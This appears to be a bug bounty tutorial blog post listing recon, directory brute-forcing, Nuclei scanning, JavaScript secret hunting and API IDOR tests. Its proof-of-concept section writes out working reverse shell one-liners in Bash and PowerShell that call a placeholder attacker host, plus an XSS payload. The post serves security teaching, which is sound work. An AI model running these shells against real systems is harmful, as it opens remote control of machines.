Listen to this Post
Introduction:
The world of bug bounty hunting offers a lucrative path for cybersecurity professionals, but starting requires mastering a core set of tools and techniques. This guide provides the essential command-line arsenal for aspiring hunters to uncover critical vulnerabilities in web applications, APIs, and infrastructure.
Learning Objectives:
- Master fundamental reconnaissance and subdomain enumeration techniques.
- Understand how to probe for and identify common web application vulnerabilities.
- Learn basic exploitation and proof-of-concept generation for critical flaws.
You Should Know:
1. The Reconnaissance Foundation: Subdomain Enumeration
Subdomain discovery is the critical first step in expanding your attack surface.
Subfinder (Passive Enumeration) subfinder -d target.com -o subdomains.txt Amass (Passive & Active Enumeration) amass enum -passive -d target.com -o subdomains_passive.txt amass enum -active -d target.com -o subdomains_active.txt Assetfinder (Passive Enumeration) assetfinder --subs-only target.com | tee assets.txt
Step-by-step guide: Begin with passive enumeration to avoid detection. Use `subfinder` or `assetfinder` to quickly gather known subdomains from various sources. Follow up with `amass` in active mode to perform DNS brute-forcing, which can discover hidden subdomains. Always combine and sort the results (cat subdomains.txt | sort -u > all_subs.txt) for a comprehensive target list.
2. Probing for Alive Domains and HTTP Servers
Not all discovered subdomains are active. Filtering for live hosts is essential.
Httpx (HTTP Probe) cat all_subs.txt | httpx -silent -o live_domains.txt Httpx with Technology Fingerprinting cat all_subs.txt | httpx -silent -tech-detect -title -status-code -o detailed_live_domains.txt
Step-by-step guide: Pipe your list of subdomains into httpx. This tool will check which domains respond to HTTP/HTTPS requests. The `-tech-detect` flag is invaluable as it identifies underlying technologies (e.g., WordPress, React, Nginx), allowing you to tailor your attacks accordingly. The output file becomes your target list for subsequent vulnerability scanning.
3. Content Discovery and Hidden Path Brute-Forcing
Finding hidden directories, files, and API endpoints is a primary bug bounty method.
Gobuster (Directory/File Brute-Force) gobuster dir -u https://target.com/ -w /path/to/wordlist.txt -x php,txt,json -o gobuster_scan.txt Feroxbuster (Recursive Brute-Force) feroxbuster -u https://target.com/ -w /path/to/wordlist.txt -x php txt json -C 403,404 -o ferox_scan.txt
Step-by-step guide: Use a targeted wordlist like `common.txt` or raft-medium-files.txt. The `-x` flag specifies extensions to try. `Feroxbuster` is aggressive and recursive by default, automatically brute-forcing directories it finds. Always monitor the output for interesting finds like /admin, /api, /config, or `.git` which often lead to sensitive information disclosure.
4. Automated Vulnerability Scanning with Nuclei
Nuclei uses a vast community-powered database of templates to scan for thousands of known vulnerabilities.
Basic Nuclei Scan nuclei -l live_domains.txt -o nuclei_results.txt Scan with Specific Templates (e.g., Exposures, CVEs) nuclei -l live_domains.txt -t exposures/ -t cves/ -o critical_findings.txt Silent Mode with Severity Filtering nuclei -l live_domains.txt -silent -severity critical,high -o top_findings.txt
Step-by-step guide: Start with a broad scan to get a feel for the target. Then, focus on high-severity templates (-severity critical,high) and specific bug classes like `exposures` (config files, tokens) or cves. Always verify the results from Nuclei manually; false positives are common, but a true positive can mean a critical bug.
5. Identifying JavaScript Secrets and API Endpoints
Modern apps often leak secrets like API keys and tokens in client-side JavaScript.
Subjs (Find JavaScript URLs) cat live_domains.txt | subjs | tee js_urls.txt Using Katana to crawl and parse JS katana -u https://target.com/ -jc -o katana_output.txt Nuclei Secret Templates nuclei -l js_urls.txt -t exposures/tokens/ -o secret_scan.txt
Step-by-step guide: First, gather a list of all JavaScript files linked from your target pages using `subjs` or `katana -jc` (JavaScript catcher). Then, manually review these files or run the `nuclei` tokens templates against the list of JS URLs. Look for hardcoded API keys, AWS credentials, Google OAuth IDs, and other sensitive data.
6. API Security Testing: Probing for Common Flaws
APIs are a prime target for bugs like Broken Object Level Authorization (BOLA).
Using curl to test for IDOR
curl -H "Authorization: Bearer <USER_A_TOKEN>" https://api.target.com/v1/user/123
curl -H "Authorization: Bearer <USER_B_TOKEN>" https://api.target.com/v1/user/123
Testing for Mass Assignment
curl -X POST https://api.target.com/v1/user/create -H "Content-Type: application/json" -d '{"username":"attacker","email":"[email protected]","is_admin":true}'
Step-by-step guide: For BOLA/IDOR, replace the object ID (e.g., 123) in a API request with another user’s ID while using your own valid token. If you can access their data, you’ve found a critical flaw. For Mass Assignment, send a POST request with parameters the application should not allow you to set (like is_admin). This often requires analyzing application responses to understand the object structure.
7. Basic Proof-of-Concept Exploitation
Demonstrating impact is key to a successful bounty submission.
Reverse Shell One-Liners (Proof of Command Injection)
Linux Bash
bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
Windows PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',ATTACKER_PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
URL Encoding a PoC XSS Payload
echo '<script>alert(document.domain)</script>' | python3 -c 'import urllib.parse, sys; print(urllib.parse.quote(sys.stdin.read()))'
Step-by-step guide: Use the reverse shell commands to prove a Remote Code Execution vulnerability. Replace `ATTACKER_IP` and `ATTACKER_PORT` with your listener’s details. For XSS, always URL-encode your payload to ensure it is interpreted correctly by the browser. Never use these commands on a target without explicit permission.
What Undercode Say:
- Tool Proficiency is Not Mastery: Knowing 25 commands is the starting line, not the finish. True expertise lies in understanding the context of when and why to use each tool, and how to interpret noisy results to find a true vulnerability.
- The Human Element is Key: Automation will find the low-hanging fruit. The highest bounties are won through manual testing, creative thinking, and chaining multiple minor flaws into a critical exploit chain. Tools are a force multiplier for a skilled hunter.
Our analysis indicates that the barrier to entry for bug bounties is lowering due to powerful, accessible tools like Nuclei and curated learning resources. However, this creates a highly competitive environment where success is dictated by depth of knowledge and methodological rigor, not just the ability to run a scanner. The most successful hunters will be those who use automation for reconnaissance but invest heavily in manual testing techniques and developing a specialized expertise in a particular type of target or vulnerability class.
Prediction:
The democratization of hacking tools will lead to a massive increase in automated scanning traffic, forcing organizations to enhance their monitoring and defensive capabilities. This will, in turn, make low-hanging fruit increasingly rare. The future of bug bounties will belong to hunters who can leverage AI not just for automation, but for intelligent attack path generation and logic flaw discovery, focusing on vulnerabilities that are entirely novel and cannot be detected by signature-based scanning.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Raunak Gupta – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
